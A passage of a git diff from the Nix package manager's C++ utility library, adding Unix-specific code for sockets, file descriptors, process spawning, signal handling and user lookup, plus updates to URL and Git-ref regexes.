+ } else { + memcpy(addr.sun_path, path.c_str(), path.size() + 1); + if (operation(fd, psaddr, sizeof(addr)) == -1) + throw SysError("cannot %s to socket at '%s'", operationName, path); + } +} + + +void bind(Socket fd, const std::string & path) +{ + unlink(path.c_str()); + + bindConnectProcHelper("bind", ::bind, fd, path); +} + + +void connect(Socket fd, const std::string & path) +{ + bindConnectProcHelper("connect", ::connect, fd, path); +} + +} diff --git a/src/libutil/unix-domain-socket.hh b/src/libutil/unix-domain-socket.hh new file mode 100644 index 000000000..ba2baeb13 --- /dev/null +++ b/src/libutil/unix-domain-socket.hh @@ -0,0 +1,83 @@ +#pragma once +///@file + +#include "types.hh" +#include "file-descriptor.hh" + +#ifdef _WIN32 +# include +#endif +#include + +namespace nix { + +/** + * Create a Unix domain socket. + */ +AutoCloseFD createUnixDomainSocket(); + +/** + * Create a Unix domain socket in listen mode. + */ +AutoCloseFD createUnixDomainSocket(const Path & path, mode_t mode); + +/** + * Often we want to use `Descriptor`, but Windows makes a slightly + * stronger file descriptor vs socket distinction, at least at the level + * of C types. + */ +using Socket = +#ifdef _WIN32 + SOCKET +#else + int +#endif + ; + +#ifdef _WIN32 +/** + * Windows gives this a different name + */ +# define SHUT_WR SD_SEND +# define SHUT_RDWR SD_BOTH +#endif + +/** + * Convert a `Socket` to a `Descriptor` + * + * This is a no-op except on Windows. + */ +static inline Socket toSocket(Descriptor fd) +{ +#ifdef _WIN32 + return reinterpret_cast(fd); +#else + return fd; +#endif +} + +/** + * Convert a `Socket` to a `Descriptor` + * + * This is a no-op except on Windows. + */ +static inline Descriptor fromSocket(Socket fd) +{ +#ifdef _WIN32 + return reinterpret_cast(fd); +#else + return fd; +#endif +} + +/** + * Bind a Unix domain socket to a path. + */ +void bind(Socket fd, const std::string & path); + +/** + * Connect to a Unix domain socket. + */ +void connect(Socket fd, const std::string & path); + +} diff --git a/src/libutil/unix/environment-variables.cc b/src/libutil/unix/environment-variables.cc new file mode 100644 index 000000000..cd7c8f5e5 --- /dev/null +++ b/src/libutil/unix/environment-variables.cc @@ -0,0 +1,22 @@ +#include + +#include "environment-variables.hh" + +namespace nix { + +int setEnv(const char * name, const char * value) +{ + return ::setenv(name, value, 1); +} + +std::optional getEnvOs(const std::string & key) +{ + return getEnv(key); +} + +int setEnvOs(const OsString & name, const OsString & value) +{ + return setEnv(name.c_str(), value.c_str()); +} + +} diff --git a/src/libutil/unix/file-descriptor.cc b/src/libutil/unix/file-descriptor.cc new file mode 100644 index 000000000..a3af1623f --- /dev/null +++ b/src/libutil/unix/file-descriptor.cc @@ -0,0 +1,159 @@ +#include "file-system.hh" +#include "signals.hh" +#include "finally.hh" +#include "serialise.hh" + +#include +#include + +namespace nix { + +std::string readFile(int fd) +{ + struct stat st; + if (fstat(fd, &st) == -1) + throw SysError("statting file"); + + return drainFD(fd, true, st.st_size); +} + + +void readFull(int fd, char * buf, size_t count) +{ + while (count) { + checkInterrupt(); + ssize_t res = read(fd, buf, count); + if (res == -1) { + if (errno == EINTR) continue; + throw SysError("reading from file"); + } + if (res == 0) throw EndOfFile("unexpected end-of-file"); + count -= res; + buf += res; + } +} + + +void writeFull(int fd, std::string_view s, bool allowInterrupts) +{ + while (!s.empty()) { + if (allowInterrupts) checkInterrupt(); + ssize_t res = write(fd, s.data(), s.size()); + if (res == -1 && errno != EINTR) + throw SysError("writing to file"); + if (res > 0) + s.remove_prefix(res); + } +} + + +std::string readLine(int fd) +{ + std::string s; + while (1) { + checkInterrupt(); + char ch; + // FIXME: inefficient + ssize_t rd = read(fd, &ch, 1); + if (rd == -1) { + if (errno != EINTR) + throw SysError("reading a line"); + } else if (rd == 0) + throw EndOfFile("unexpected EOF reading a line"); + else { + if (ch == '\n') return s; + s += ch; + } + } +} + + +void drainFD(int fd, Sink & sink, bool block) +{ + // silence GCC maybe-uninitialized warning in finally + int saved = 0; + + if (!block) { + saved = fcntl(fd, F_GETFL); + if (fcntl(fd, F_SETFL, saved | O_NONBLOCK) == -1) + throw SysError("making file descriptor non-blocking"); + } + + Finally finally([&]() { + if (!block) { + if (fcntl(fd, F_SETFL, saved) == -1) + throw SysError("making file descriptor blocking"); + } + }); + + std::vector buf(64 * 1024); + while (1) { + checkInterrupt(); + ssize_t rd = read(fd, buf.data(), buf.size()); + if (rd == -1) { + if (!block && (errno == EAGAIN || errno == EWOULDBLOCK)) + break; + if (errno != EINTR) + throw SysError("reading from file"); + } + else if (rd == 0) break; + else sink({reinterpret_cast(buf.data()), (size_t) rd}); + } +} + +////////////////////////////////////////////////////////////////////// + +void Pipe::create() +{ + int fds[2]; +#if HAVE_PIPE2 + if (pipe2(fds, O_CLOEXEC) != 0) throw SysError("creating pipe"); +#else + if (pipe(fds) != 0) throw SysError("creating pipe"); + unix::closeOnExec(fds[0]); + unix::closeOnExec(fds[1]); +#endif + readSide = fds[0]; + writeSide = fds[1]; +} + + +////////////////////////////////////////////////////////////////////// + +void unix::closeMostFDs(const std::set & exceptions) +{ +#if __linux__ + try { + for (auto & s : std::filesystem::directory_iterator{"/proc/self/fd"}) { + checkInterrupt(); + auto fd = std::stoi(s.path().filename()); + if (!exceptions.count(fd)) { + debug("closing leaked FD %d", fd); + close(fd); + } + } + return; + } catch (SysError &) { + } catch (std::filesystem::filesystem_error &) { + } +#endif + + int maxFD = 0; +#if HAVE_SYSCONF + maxFD = sysconf(_SC_OPEN_MAX); +#endif + for (int fd = 0; fd < maxFD; ++fd) + if (!exceptions.count(fd)) + close(fd); /* ignore result */ +} + + +void unix::closeOnExec(int fd) +{ + int prev; + if ((prev = fcntl(fd, F_GETFD, 0)) == -1 || + fcntl(fd, F_SETFD, prev | FD_CLOEXEC) == -1) + throw SysError("setting close-on-exec flag"); +} + +} diff --git a/src/libutil/unix/file-path.cc b/src/libutil/unix/file-path.cc new file mode 100644 index 000000000..cccee86a1 --- /dev/null +++ b/src/libutil/unix/file-path.cc @@ -0,0 +1,21 @@ +#include +#include +#include +#include + +#include "file-path.hh" +#include "util.hh" + +namespace nix { + +std::optional maybePath(PathView path) +{ + return { path }; +} + +std::filesystem::path pathNG(PathView path) +{ + return path; +} + +} diff --git a/src/libutil/unix/file-system.cc b/src/libutil/unix/file-system.cc new file mode 100644 index 000000000..bbbbfa559 --- /dev/null +++ b/src/libutil/unix/file-system.cc @@ -0,0 +1,10 @@ +#include "file-system.hh" + +namespace nix { + +Descriptor openDirectory(const std::filesystem::path & path) +{ + return open(path.c_str(), O_RDONLY | O_DIRECTORY); +} + +} diff --git a/src/libutil/unix/meson.build b/src/libutil/unix/meson.build new file mode 100644 index 000000000..1c5bf27fb --- /dev/null +++ b/src/libutil/unix/meson.build @@ -0,0 +1,18 @@ +sources += files( + 'environment-variables.cc', + 'file-descriptor.cc', + 'file-path.cc', + 'file-system.cc', + 'muxable-pipe.cc', + 'os-string.cc', + 'processes.cc', + 'signals.cc', + 'users.cc', +) + +include_dirs += include_directories('.') + +headers += files( + 'monitor-fd.hh', + 'signals-impl.hh', +) diff --git a/src/libutil/unix/monitor-fd.hh b/src/libutil/unix/monitor-fd.hh new file mode 100644 index 000000000..b6610feff --- /dev/null +++ b/src/libutil/unix/monitor-fd.hh @@ -0,0 +1,74 @@ +#pragma once +///@file + +#include +#include + +#include +#include +#include +#include +#include + +#include "signals.hh" + +namespace nix { + + +class MonitorFdHup +{ +private: + std::thread thread; + +public: + MonitorFdHup(int fd) + { + thread = std::thread([fd]() { + while (true) { + /* Wait indefinitely until a POLLHUP occurs. */ + struct pollfd fds[1]; + fds[0].fd = fd; + /* Polling for no specific events (i.e. just waiting + for an error/hangup) doesn't work on macOS + anymore. So wait for read events and ignore + them. */ + fds[0].events = + #ifdef __APPLE__ + POLLRDNORM + #else + 0 + #endif + ; + auto count = poll(fds, 1, -1); + if (count == -1) + unreachable(); + + /* This shouldn't happen, but can on macOS due to a bug. + See rdar://37550628. + + This may eventually need a delay or further + coordination with the main thread if spinning proves + too harmful. + */ + if (count == 0) continue; + if (fds[0].revents & POLLHUP) { + unix::triggerInterrupt(); + break; + } + /* This will only happen on macOS. We sleep a bit to + avoid waking up too often if the client is sending + input. */ + sleep(1); + } + }); + }; + + ~MonitorFdHup() + { + pthread_cancel(thread.native_handle()); + thread.join(); + } +}; + + +} diff --git a/src/libutil/unix/muxable-pipe.cc b/src/libutil/unix/muxable-pipe.cc new file mode 100644 index 000000000..0104663c3 --- /dev/null +++ b/src/libutil/unix/muxable-pipe.cc @@ -0,0 +1,47 @@ +#include + +#include "logging.hh" +#include "util.hh" +#include "muxable-pipe.hh" + +namespace nix { + +void MuxablePipePollState::poll(std::optional timeout) +{ + if (::poll(pollStatus.data(), pollStatus.size(), timeout ? *timeout : -1) == -1) { + if (errno == EINTR) + return; + throw SysError("waiting for input"); + } +} + +void MuxablePipePollState::iterate( + std::set & channels, + std::function handleRead, + std::function handleEOF) +{ + std::set fds2(channels); + std::vector buffer(4096); + for (auto & k : fds2) { + const auto fdPollStatusId = get(fdToPollStatus, k); + assert(fdPollStatusId); + assert(*fdPollStatusId < pollStatus.size()); + if (pollStatus.at(*fdPollStatusId).revents) { + ssize_t rd = ::read(fromDescriptorReadOnly(k), buffer.data(), buffer.size()); + // FIXME: is there a cleaner way to handle pt close + // than EIO? Is this even standard? + if (rd == 0 || (rd == -1 && errno == EIO)) { + handleEOF(k); + channels.erase(k); + } else if (rd == -1) { + if (errno != EINTR) + throw SysError("read failed"); + } else { + std::string_view data((char *) buffer.data(), rd); + handleRead(k, data); + } + } + } +} + +} diff --git a/src/libutil/unix/os-string.cc b/src/libutil/unix/os-string.cc new file mode 100644 index 000000000..8378afde2 --- /dev/null +++ b/src/libutil/unix/os-string.cc @@ -0,0 +1,21 @@ +#include +#include +#include +#include + +#include "file-path.hh" +#include "util.hh" + +namespace nix { + +std::string os_string_to_string(PathViewNG::string_view path) +{ + return std::string{path}; +} + +std::filesystem::path::string_type string_to_os_string(std::string_view s) +{ + return std::string{s}; +} + +} diff --git a/src/libutil/unix/processes.cc b/src/libutil/unix/processes.cc new file mode 100644 index 000000000..c5ce74acc --- /dev/null +++ b/src/libutil/unix/processes.cc @@ -0,0 +1,422 @@ +#include "current-process.hh" +#include "environment-variables.hh" +#include "signals.hh" +#include "processes.hh" +#include "finally.hh" +#include "serialise.hh" + +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +#ifdef __APPLE__ +# include +#endif + +#ifdef __linux__ +# include +# include +#endif + + +namespace nix { + +Pid::Pid() +{ +} + + +Pid::Pid(pid_t pid) + : pid(pid) +{ +} + + +Pid::~Pid() +{ + if (pid != -1) kill(); +} + + +void Pid::operator =(pid_t pid) +{ + if (this->pid != -1 && this->pid != pid) kill(); + this->pid = pid; + killSignal = SIGKILL; // reset signal to default +} + + +Pid::operator pid_t() +{ + return pid; +} + + +int Pid::kill() +{ + assert(pid != -1); + + debug("killing process %1%", pid); + + /* Send the requested signal to the child. If it has its own + process group, send the signal to every process in the child + process group (which hopefully includes *all* its children). */ + if (::kill(separatePG ? -pid : pid, killSignal) != 0) { + /* On BSDs, killing a process group will return EPERM if all + processes in the group are zombies (or something like + that). So try to detect and ignore that situation. */ +#if __FreeBSD__ || __APPLE__ + if (errno != EPERM || ::kill(pid, 0) != 0) +#endif + logError(SysError("killing process %d", pid).info()); + } + + return wait(); +} + + +int Pid::wait() +{ + assert(pid != -1); + while (1) { + int status; + int res = waitpid(pid, &status, 0); + if (res == pid) { + pid = -1; + return status; + } + if (errno != EINTR) + throw SysError("cannot get exit status of PID %d", pid); + checkInterrupt(); + } +} + + +void Pid::setSeparatePG(bool separatePG) +{ + this->separatePG = separatePG; +} + + +void Pid::setKillSignal(int signal) +{ + this->killSignal = signal; +} + + +pid_t Pid::release() +{ + pid_t p = pid; + pid = -1; + return p; +} + + +void killUser(uid_t uid) +{ + debug("killing all processes running under uid '%1%'", uid); + + assert(uid != 0); /* just to be safe... */ + + /* The system call kill(-1, sig) sends the signal `sig' to all + users to which the current process can send signals. So we + fork a process, switch to uid, and send a mass kill. */ + + Pid pid = startProcess([&] { + + if (setuid(uid) == -1) + throw SysError("setting uid"); + + while (true) { +#ifdef __APPLE__ + /* OSX's kill syscall takes a third parameter that, among + other things, determines if kill(-1, signo) affects the + calling process. In the OSX libc, it's set to true, + which means "follow POSIX", which we don't want here + */ + if (syscall(SYS_kill, -1, SIGKILL, false) == 0) break; +#else + if (kill(-1, SIGKILL) == 0) break; +#endif + if (errno == ESRCH || errno == EPERM) break; /* no more processes */ + if (errno != EINTR) + throw SysError("cannot kill processes for uid '%1%'", uid); + } + + _exit(0); + }); + + int status = pid.wait(); + if (status != 0) + throw Error("cannot kill processes for uid '%1%': %2%", uid, statusToString(status)); + + /* !!! We should really do some check to make sure that there are + no processes left running under `uid', but there is no portable + way to do so (I think). The most reliable way may be `ps -eo + uid | grep -q $uid'. */ +} + + +////////////////////////////////////////////////////////////////////// + +using ChildWrapperFunction = std::function; + +/* Wrapper around vfork to prevent the child process from clobbering + the caller's stack frame in the parent. */ +static pid_t doFork(bool allowVfork, ChildWrapperFunction & fun) __attribute__((noinline)); +static pid_t doFork(bool allowVfork, ChildWrapperFunction & fun) +{ +#ifdef __linux__ + pid_t pid = allowVfork ? vfork() : fork(); +#else + pid_t pid = fork(); +#endif + if (pid != 0) return pid; + fun(); + unreachable(); +} + + +#if __linux__ +static int childEntry(void * arg) +{ + auto & fun = *reinterpret_cast(arg); + fun(); + return 1; +} +#endif + + +pid_t startProcess(std::function fun, const ProcessOptions & options) +{ + ChildWrapperFunction wrapper = [&] { + if (!options.allowVfork) + logger = makeSimpleLogger(); + try { +#if __linux__ + if (options.dieWithParent && prctl(PR_SET_PDEATHSIG, SIGKILL) == -1) + throw SysError("setting death signal"); +#endif + fun(); + } catch (std::exception & e) { + try { + std::cerr << options.errorPrefix << e.what() << "\n"; + } catch (...) { } + } catch (...) { } + if (options.runExitHandlers) + exit(1); + else + _exit(1); + }; + + pid_t pid = -1; + + if (options.cloneFlags) { + #ifdef __linux__ + // Not supported, since then we don't know when to free the stack. + assert(!(options.cloneFlags & CLONE_VM)); + + size_t stackSize = 1 * 1024 * 1024; + auto stack = static_cast(mmap(0, stackSize, + PROT_WRITE | PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0)); + if (stack == MAP_FAILED) throw SysError("allocating stack"); + + Finally freeStack([&] { munmap(stack, stackSize); }); + + pid = clone(childEntry, stack + stackSize, options.cloneFlags | SIGCHLD, &wrapper); + #else + throw Error("clone flags are only supported on Linux"); + #endif + } else + pid = doFork(options.allowVfork, wrapper); + + if (pid == -1) throw SysError("unable to fork"); + + return pid; +} + + +std::string runProgram(Path program, bool lookupPath, const Strings & args, + const std::optional & input, bool isInteractive) +{ + auto res = runProgram(RunOptions {.program = program, .lookupPath = lookupPath, .args = args, .input = input, .isInteractive = isInteractive}); + + if (!statusOk(res.first)) + throw ExecError(res.first, "program '%1%' %2%", program, statusToString(res.first)); + + return res.second; +} + +// Output = error code + "standard out" output stream +std::pair runProgram(RunOptions && options) +{ + StringSink sink; + options.standardOut = &sink; + + int status = 0; + + try { + runProgram2(options); + } catch (ExecError & e) { + status = e.status; + } + + return {status, std::move(sink.s)}; +} + +void runProgram2(const RunOptions & options) +{ + checkInterrupt(); + + assert(!(options.standardIn && options.input)); + + std::unique_ptr source_; + Source * source = options.standardIn; + + if (options.input) { + source_ = std::make_unique(*options.input); + source = source_.get(); + } + + /* Create a pipe. */ + Pipe out, in; + if (options.standardOut) out.create(); + if (source) in.create(); + + ProcessOptions processOptions; + // vfork implies that the environment of the main process and the fork will + // be shared (technically this is undefined, but in practice that's the + // case), so we can't use it if we alter the environment + processOptions.allowVfork = !options.environment; + + std::optional>> resumeLoggerDefer; + if (options.isInteractive) { + logger->pause(); + resumeLoggerDefer.emplace( + []() { + logger->resume(); + } + ); + } + + /* Fork. */ + Pid pid = startProcess([&] { + if (options.environment) + replaceEnv(*options.environment); + if (options.standardOut && dup2(out.writeSide.get(), STDOUT_FILENO) == -1) + throw SysError("dupping stdout"); + if (options.mergeStderrToStdout) + if (dup2(STDOUT_FILENO, STDERR_FILENO) == -1) + throw SysError("cannot dup stdout into stderr"); + if (source && dup2(in.readSide.get(), STDIN_FILENO) == -1) + throw SysError("dupping stdin"); + + if (options.chdir && chdir((*options.chdir).c_str()) == -1) + throw SysError("chdir failed"); + if (options.gid && setgid(*options.gid) == -1) + throw SysError("setgid failed"); + /* Drop all other groups if we're setgid. */ + if (options.gid && setgroups(0, 0) == -1) + throw SysError("setgroups failed"); + if (options.uid && setuid(*options.uid) == -1) + throw SysError("setuid failed"); + + Strings args_(options.args); + args_.push_front(options.program); + + restoreProcessContext(); + + if (options.lookupPath) + execvp(options.program.c_str(), stringsToCharPtrs(args_).data()); + // This allows you to refer to a program with a pathname relative + // to the PATH variable. + else + execv(options.program.c_str(), stringsToCharPtrs(args_).data()); + + throw SysError("executing '%1%'", options.program); + }, processOptions); + + out.writeSide.close(); + + std::thread writerThread; + + std::promise promise; + + Finally doJoin([&] { + if (writerThread.joinable()) + writerThread.join(); + }); + + + if (source) { + in.readSide.close(); + writerThread = std::thread([&] { + try { + std::vector buf(8 * 1024); + while (true) { + size_t n; + try { + n = source->read(buf.data(), buf.size()); + } catch (EndOfFile &) { + break; + } + writeFull(in.writeSide.get(), {buf.data(), n}); + } + promise.set_value(); + } catch (...) { + promise.set_exception(std::current_exception()); + } + in.writeSide.close(); + }); + } + + if (options.standardOut) + drainFD(out.readSide.get(), *options.standardOut); + + /* Wait for the child to finish. */ + int status = pid.wait(); + + /* Wait for the writer thread to finish. */ + if (source) promise.get_future().get(); + + if (status) + throw ExecError(status, "program '%1%' %2%", options.program, statusToString(status)); +} + +////////////////////////////////////////////////////////////////////// + +std::string statusToString(int status) +{ + if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) { + if (WIFEXITED(status)) + return fmt("failed with exit code %1%", WEXITSTATUS(status)); + else if (WIFSIGNALED(status)) { + int sig = WTERMSIG(status); +#if HAVE_STRSIGNAL + const char * description = strsignal(sig); + return fmt("failed due to signal %1% (%2%)", sig, description); +#else + return fmt("failed due to signal %1%", sig); +#endif + } + else + return "died abnormally"; + } else return "succeeded"; +} + + +bool statusOk(int status) +{ + return WIFEXITED(status) && WEXITSTATUS(status) == 0; +} + +} diff --git a/src/libutil/unix/signals-impl.hh b/src/libutil/unix/signals-impl.hh new file mode 100644 index 000000000..7ac8c914d --- /dev/null +++ b/src/libutil/unix/signals-impl.hh @@ -0,0 +1,111 @@ +#pragma once +/** + * @file + * + * Implementation of some inline definitions for Unix signals, and also + * some extra Unix-only interfaces. + * + * (The only reason everything about signals isn't Unix-only is some + * no-op definitions are provided on Windows to avoid excess CPP in + * downstream code.) + */ + +#include "types.hh" +#include "error.hh" +#include "logging.hh" +#include "ansicolor.hh" + +#include +#include +#include +#include +#include + +#include + +#include +#include +#include +#include +#include + +namespace nix { + +/* User interruption. */ + +namespace unix { + +extern std::atomic _isInterrupted; + +extern thread_local std::function interruptCheck; + +void _interrupted(); + +/** + * Sets the signal mask. Like saveSignalMask() but for a signal set that doesn't + * necessarily match the current thread's mask. + * See saveSignalMask() to set the saved mask to the current mask. + */ +void setChildSignalMask(sigset_t *sigs); + +/** + * Start a thread that handles various signals. Also block those signals + * on the current thread (and thus any threads created by it). + * Saves the signal mask before changing the mask to block those signals. + * See saveSignalMask(). + */ +void startSignalHandlerThread(); + +/** + * Saves the signal mask, which is the signal mask that nix will restore + * before creating child processes. + * See setChildSignalMask() to set an arbitrary signal mask instead of the + * current mask. + */ +void saveSignalMask(); + +/** + * To use in a process that already called `startSignalHandlerThread()` + * or `saveSignalMask()` first. + */ +void restoreSignals(); + +void triggerInterrupt(); + +} + +static inline void setInterrupted(bool isInterrupted) +{ + unix::_isInterrupted = isInterrupted; +} + +static inline bool getInterrupted() +{ + return unix::_isInterrupted; +} + +void inline checkInterrupt() +{ + using namespace unix; + if (_isInterrupted || (interruptCheck && interruptCheck())) + _interrupted(); +} + +/** + * A RAII class that causes the current thread to receive SIGUSR1 when + * the signal handler thread receives SIGINT. That is, this allows + * SIGINT to be multiplexed to multiple threads. + */ +struct ReceiveInterrupts +{ + pthread_t target; + std::unique_ptr callback; + + ReceiveInterrupts() + : target(pthread_self()) + , callback(createInterruptCallback([&]() { pthread_kill(target, SIGUSR1); })) + { } +}; + + +} diff --git a/src/libutil/unix/signals.cc b/src/libutil/unix/signals.cc new file mode 100644 index 000000000..7e30687d8 --- /dev/null +++ b/src/libutil/unix/signals.cc @@ -0,0 +1,193 @@ +#include "signals.hh" +#include "util.hh" +#include "error.hh" +#include "sync.hh" +#include "terminal.hh" + +#include + +namespace nix { + +using namespace unix; + +std::atomic unix::_isInterrupted = false; + +namespace unix { +static thread_local bool interruptThrown = false; +} + +thread_local std::function unix::interruptCheck; + +void setInterruptThrown() +{ + unix::interruptThrown = true; +} + +void unix::_interrupted() +{ + /* Block user interrupts while an exception is being handled. + Throwing an exception while another exception is being handled + kills the program! */ + if (!interruptThrown && !std::uncaught_exceptions()) { + interruptThrown = true; + throw Interrupted("interrupted by the user"); + } +} + + +////////////////////////////////////////////////////////////////////// + + +/* We keep track of interrupt callbacks using integer tokens, so we can iterate + safely without having to lock the data structure while executing arbitrary + functions. + */ +struct InterruptCallbacks { + typedef int64_t Token; + + /* We use unique tokens so that we can't accidentally delete the wrong + handler because of an erroneous double delete. */ + Token nextToken = 0; + + /* Used as a list, see InterruptCallbacks comment. */ + std::map> callbacks; +}; + +static Sync _interruptCallbacks; + +static void signalHandlerThread(sigset_t set) +{ + while (true) { + int signal = 0; + sigwait(&set, &signal); + + if (signal == SIGINT || signal == SIGTERM || signal == SIGHUP) + triggerInterrupt(); + + else if (signal == SIGWINCH) { + updateWindowSize(); + } + } +} + +void unix::triggerInterrupt() +{ + _isInterrupted = true; + + { + InterruptCallbacks::Token i = 0; + while (true) { + std::function callback; + { + auto interruptCallbacks(_interruptCallbacks.lock()); + auto lb = interruptCallbacks->callbacks.lower_bound(i); + if (lb == interruptCallbacks->callbacks.end()) + break; + + callback = lb->second; + i = lb->first + 1; + } + + try { + callback(); + } catch (...) { + ignoreException(); + } + } + } +} + + +static sigset_t savedSignalMask; +static bool savedSignalMaskIsSet = false; + +void unix::setChildSignalMask(sigset_t * sigs) +{ + assert(sigs); // C style function, but think of sigs as a reference + +#if _POSIX_C_SOURCE >= 1 || _XOPEN_SOURCE || _POSIX_SOURCE + sigemptyset(&savedSignalMask); + // There's no "assign" or "copy" function, so we rely on (math) idempotence + // of the or operator: a or a = a. + sigorset(&savedSignalMask, sigs, sigs); +#else + // Without sigorset, our best bet is to assume that sigset_t is a type that + // can be assigned directly, such as is the case for a sigset_t defined as + // an integer type. + savedSignalMask = *sigs; +#endif + + savedSignalMaskIsSet = true; +} + +void unix::saveSignalMask() { + if (sigprocmask(SIG_BLOCK, nullptr, &savedSignalMask)) + throw SysError("querying signal mask"); + + savedSignalMaskIsSet = true; +} + +void unix::startSignalHandlerThread() +{ + updateWindowSize(); + + saveSignalMask(); + + sigset_t set; + sigemptyset(&set); + sigaddset(&set, SIGINT); + sigaddset(&set, SIGTERM); + sigaddset(&set, SIGHUP); + sigaddset(&set, SIGPIPE); + sigaddset(&set, SIGWINCH); + if (pthread_sigmask(SIG_BLOCK, &set, nullptr)) + throw SysError("blocking signals"); + + std::thread(signalHandlerThread, set).detach(); +} + +void unix::restoreSignals() +{ + // If startSignalHandlerThread wasn't called, that means we're not running + // in a proper libmain process, but a process that presumably manages its + // own signal handlers. Such a process should call either + // - initNix(), to be a proper libmain process + // - startSignalHandlerThread(), to resemble libmain regarding signal + // handling only + // - saveSignalMask(), for processes that define their own signal handling + // thread + // TODO: Warn about this? Have a default signal mask? The latter depends on + // whether we should generally inherit signal masks from the caller. + // I don't know what the larger unix ecosystem expects from us here. + if (!savedSignalMaskIsSet) + return; + + if (sigprocmask(SIG_SETMASK, &savedSignalMask, nullptr)) + throw SysError("restoring signals"); +} + + +/* RAII helper to automatically deregister a callback. */ +struct InterruptCallbackImpl : InterruptCallback +{ + InterruptCallbacks::Token token; + ~InterruptCallbackImpl() override + { + auto interruptCallbacks(_interruptCallbacks.lock()); + interruptCallbacks->callbacks.erase(token); + } +}; + +std::unique_ptr createInterruptCallback(std::function callback) +{ + auto interruptCallbacks(_interruptCallbacks.lock()); + auto token = interruptCallbacks->nextToken++; + interruptCallbacks->callbacks.emplace(token, callback); + + std::unique_ptr res {new InterruptCallbackImpl{}}; + res->token = token; + + return std::unique_ptr(res.release()); +} + +} diff --git a/src/libutil/unix/users.cc b/src/libutil/unix/users.cc new file mode 100644 index 000000000..58063a953 --- /dev/null +++ b/src/libutil/unix/users.cc @@ -0,0 +1,66 @@ +#include "util.hh" +#include "users.hh" +#include "environment-variables.hh" +#include "file-system.hh" + +#include +#include +#include + +namespace nix { + +std::string getUserName() +{ + auto pw = getpwuid(geteuid()); + std::string name = pw ? pw->pw_name : getEnv("USER").value_or(""); + if (name.empty()) + throw Error("cannot figure out user name"); + return name; +} + +Path getHomeOf(uid_t userId) +{ + std::vector buf(16384); + struct passwd pwbuf; + struct passwd * pw; + if (getpwuid_r(userId, &pwbuf, buf.data(), buf.size(), &pw) != 0 + || !pw || !pw->pw_dir || !pw->pw_dir[0]) + throw Error("cannot determine user's home directory"); + return pw->pw_dir; +} + +Path getHome() +{ + static Path homeDir = []() + { + std::optional unownedUserHomeDir = {}; + auto homeDir = getEnv("HOME"); + if (homeDir) { + // Only use $HOME if doesn't exist or is owned by the current user. + struct stat st; + int result = stat(homeDir->c_str(), &st); + if (result != 0) { + if (errno != ENOENT) { + warn("couldn't stat $HOME ('%s') for reason other than not existing ('%d'), falling back to the one defined in the 'passwd' file", *homeDir, errno); + homeDir.reset(); + } + } else if (st.st_uid != geteuid()) { + unownedUserHomeDir.swap(homeDir); + } + } + if (!homeDir) { + homeDir = getHomeOf(geteuid()); + if (unownedUserHomeDir.has_value() && unownedUserHomeDir != homeDir) { + warn("$HOME ('%s') is not owned by you, falling back to the one defined in the 'passwd' file ('%s')", *unownedUserHomeDir, *homeDir); + } + } + return *homeDir; + }(); + return homeDir; +} + +bool isRootUser() { + return getuid() == 0; +} + +} diff --git a/src/libutil/url-parts.hh b/src/libutil/url-parts.hh index d5e6a2736..1ddc6a536 100644 --- a/src/libutil/url-parts.hh +++ b/src/libutil/url-parts.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include #include @@ -7,7 +8,7 @@ namespace nix { // URI stuff. const static std::string pctEncoded = "(?:%[0-9a-fA-F][0-9a-fA-F])"; -const static std::string schemeRegex = "(?:[a-z][a-z0-9+.-]*)"; +const static std::string schemeNameRegex = "(?:[a-z][a-z0-9+.-]*)"; const static std::string ipv6AddressSegmentRegex = "[0-9a-fA-F:]+(?:%\\w+)?"; const static std::string ipv6AddressRegex = "(?:\\[" + ipv6AddressSegmentRegex + "\\]|" + ipv6AddressSegmentRegex + ")"; const static std::string unreservedRegex = "(?:[a-zA-Z0-9-._~])"; @@ -18,28 +19,28 @@ const static std::string userRegex = "(?:(?:" + unreservedRegex + "|" + pctEncod const static std::string authorityRegex = "(?:" + userRegex + "@)?" + hostRegex + "(?::[0-9]+)?"; const static std::string pcharRegex = "(?:" + unreservedRegex + "|" + pctEncoded + "|" + subdelimsRegex + "|[:@])"; const static std::string queryRegex = "(?:" + pcharRegex + "|[/? \"])*"; +const static std::string fragmentRegex = "(?:" + pcharRegex + "|[/? \"^])*"; const static std::string segmentRegex = "(?:" + pcharRegex + "*)"; const static std::string absPathRegex = "(?:(?:/" + segmentRegex + ")*/?)"; const static std::string pathRegex = "(?:" + segmentRegex + "(?:/" + segmentRegex + ")*/?)"; -// A Git ref (i.e. branch or tag name). -const static std::string refRegexS = "[a-zA-Z0-9][a-zA-Z0-9_.\\/-]*"; // FIXME: check +/// A Git ref (i.e. branch or tag name). +/// \todo check that this is correct. +/// This regex incomplete. See https://git-scm.com/docs/git-check-ref-format +const static std::string refRegexS = "[a-zA-Z0-9@][a-zA-Z0-9_.\\/@+-]*"; extern std::regex refRegex; -// Instead of defining what a good Git Ref is, we define what a bad Git Ref is -// This is because of the definition of a ref in refs.c in https://github.com/git/git -// See tests/fetchGitRefs.sh for the full definition +/// Instead of defining what a good Git Ref is, we define what a bad Git Ref is +/// This is because of the definition of a ref in refs.c in https://github.com/git/git +/// See tests/functional/fetchGitRefs.sh for the full definition const static std::string badGitRefRegexS = "//|^[./]|/\\.|\\.\\.|[[:cntrl:][:space:]:?^~\[]|\\\\|\\*|\\.lock$|\\.lock/|@\\{|[/.]$|^@$|^$"; extern std::regex badGitRefRegex; -// A Git revision (a SHA-1 commit hash). +/// A Git revision (a SHA-1 commit hash). const static std::string revRegexS = "[0-9a-fA-F]{40}"; extern std::regex revRegex; -// A ref or revision, or a ref followed by a revision. +/// A ref or revision, or a ref followed by a revision. const static std::string refAndOrRevRegex = "(?:(" + revRegexS + ")|(?:(" + refRegexS + ")(?:/(" + revRegexS + "))?))"; -const static std::string flakeIdRegexS = "[a-zA-Z][a-zA-Z0-9_-]*"; -extern std::regex flakeIdRegex; - } diff --git a/src/libutil/url.cc b/src/libutil/url.cc index 5b7abeb49..bcbe9ea4e 100644 --- a/src/libutil/url.cc +++ b/src/libutil/url.cc @@ -2,21 +2,21 @@ #include "url-parts.hh" #include "util.hh" #include "split.hh" +#include "canon-path.hh" namespace nix { std::regex refRegex(refRegexS, std::regex::ECMAScript); std::regex badGitRefRegex(badGitRefRegexS, std::regex::ECMAScript); std::regex revRegex(revRegexS, std::regex::ECMAScript); -std::regex flakeIdRegex(flakeIdRegexS, 